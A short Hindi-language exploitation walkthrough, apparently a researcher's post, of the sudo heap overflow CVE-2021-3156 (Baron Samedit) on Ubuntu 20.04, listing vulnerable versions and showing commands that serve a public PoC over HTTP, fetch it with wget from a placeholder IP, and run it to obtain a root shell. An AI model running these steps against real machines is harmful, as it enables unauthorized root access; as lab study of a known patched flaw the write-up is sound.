👑 CVE-2021-3156 (Baron Samedit) — Privilege Escalation via Heap Overflow in sudo

📅 दिनांक: 2025-06-08
✍️ लेखक: @TopskiyPavelQwertyGang 🧠 Security Researcher | Red Team Enthusiast

🧠 CVE Overview

• CVE-ID: CVE-2021-3156
• प्रकार: Heap-based Buffer Overflow
• घटक: sudoedit (sudo)
• पहुँच स्तर: Local
• लक्ष्य: रूट विशेषाधिकार प्राप्त करना

🧠 विवरण

Heap-overflow sudoedit में स्थानीय उपयोगकर्ता को पूर्व-तैयार मापदंडों के साथ sudoedit कमांड निष्पादित करने पर रूट एक्सेस प्राप्त करने की अनुमति देता है।

शोषण sudo < 1.9.5p2 संस्करणों के लिए सक्रिय है, जिसमें लोकप्रिय Ubuntu/Debian/CentOS छवियाँ शामिल हैं।
ASLR चालू होने पर भी कमजोरी शोषण योग्य बनी रहती है।

🐾 शोषण की शर्तें

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (कमजोर)
ASLR   : 2 (चालू)

🧪 वातावरण तैयार करना

1. glibc और sudo के संस्करणों की जाँच की गई:

ldd --version
sudo --version

2. PoC स्क्रिप्ट दूसरी मशीन से अंतर्निहित HTTP सर्वर के माध्यम से स्थानांतरित की गईं:

python3 -m http.server 80

3. लक्ष्य मशीन पर PoC डाउनलोड और निष्पादित किए जाते हैं:

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 PoC का सफल शोषण

$ python3 exploit_nss.py
# whoami
root

🧾 निष्कर्ष

CVE-2021-3156 का शोषण सक्रिय ASLR के साथ भी संभव बना रहता है, यदि glibc ≥ 2.26 और sudo कमजोर संस्करण का है।
सबसे स्थिर शोषण exploit_nss.py निकला, जो सही NSS कॉन्फ़िगरेशन के साथ पहली बार में काम करता है।

🧨 सिस्टम नियंत्रण में है।